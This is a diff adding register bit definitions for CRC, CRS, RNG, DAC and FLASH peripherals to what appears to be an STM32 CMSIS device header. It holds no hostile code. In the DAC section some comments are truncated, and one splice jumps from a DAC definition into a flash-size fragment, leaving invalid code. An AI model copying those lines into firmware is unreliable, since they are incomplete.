CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0UL) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3UL) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5UL) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7UL) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0UL) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0UL) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0UL) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1UL) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2UL) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3UL) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5UL) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6UL) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7UL) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8UL) +#define CRS_CR_TRIM_Msk (0x7FUL << CRS_CR_TRIM_Pos) /*!< 0x00007F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0UL) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16UL) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24UL) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28UL) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31UL) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0UL) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1UL) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2UL) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3UL) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8UL) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9UL) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10UL) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15UL) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16UL) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0UL) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1UL) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2UL) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3UL) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2UL) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3UL) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5UL) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7UL) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8UL) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12UL) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13UL) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16UL) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20UL) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30UL) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31UL) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0UL) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1UL) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2UL) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5UL) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6UL) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0UL) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3UL) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6UL) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9UL) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12UL) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15UL) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0UL) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk +/******************** RNG Nist Compliance Values *******************/ +#define RNG_CR_NIST_VALUE (0x00F10F00U) +#define RNG_HTCR_NIST_VALUE (0x92F3U) +#define RNG_NSCR_NIST_VALUE (0x1609U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0UL) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14UL) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16UL) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30UL) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0UL) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) + +#define FLASH_PAGE_SIZE 0x2000U /* 8 KB */ + +#define FLASH_PAGE_NB (FLASH_BANK_SIZE / FLASH_PAGE_SIZE) + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0UL) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_PRFTEN_Pos (8UL) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ +#define FLASH_ACR_LPM_Pos (11UL) +#define FLASH_ACR_LPM_Msk (0x1UL << FLASH_ACR_LPM_Pos) /*!< 0x00000800 */ +#define FLASH_ACR_LPM FLASH_ACR_LPM_Msk /*!< Low-Power read mode */ +#define FLASH_ACR_PDREQ1_Pos (12UL) +#define FLASH_ACR_PDREQ1_Msk (0x1UL << FLASH_ACR_PDREQ1_Pos) /*!< 0x00001000 */ +#define FLASH_ACR_PDREQ1 FLASH_ACR_PDREQ1_Msk /*!< Bank 1 power-down mode request */ +#define FLASH_ACR_PDREQ2_Pos (13UL) +#define FLASH_ACR_PDREQ2_Msk (0x1UL << FLASH_ACR_PDREQ2_Pos) /*!< 0x00002000 */ +#define FLASH_ACR_PDREQ2 FLASH_ACR_PDREQ2_Msk /*!< Bank 2 power-down mode request */ +#define FLASH_ACR_SLEEP_PD_Pos (14UL) +#define FLASH_ACR_SLEEP_PD_Msk (0x1UL << FLASH_ACR_SLEEP_PD_Pos) /*!< 0x00004000 */ +#define FLASH_ACR_SLEEP_PD FLASH_ACR_SLEEP_PD_Msk /*!< Flash power-down mode during sleep */ + +/****************** Bits definition for FLASH_NSSR register *****************/ +#define FLASH_NSSR_EOP_Pos (0UL) +#define FLASH_NSSR_EOP_Msk (0x1UL << FLASH_NSSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_NSSR_EOP FLASH_NSSR_EOP_Msk /*!< Non-secure end of operation */ +#define FLASH_NSSR_OPERR_Pos (1UL) +#define FLASH_NSSR_OPERR_Msk (0x1UL << FLASH_NSSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_NSSR_OPERR FLASH_NSSR_OPERR_Msk /*!< Non-secure operation error */ +#define FLASH_NSSR_PROGERR_Pos (3UL) +#define FLASH_NSSR_PROGERR_Msk (0x1UL << FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0xFFUL << FLASH_NSCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE 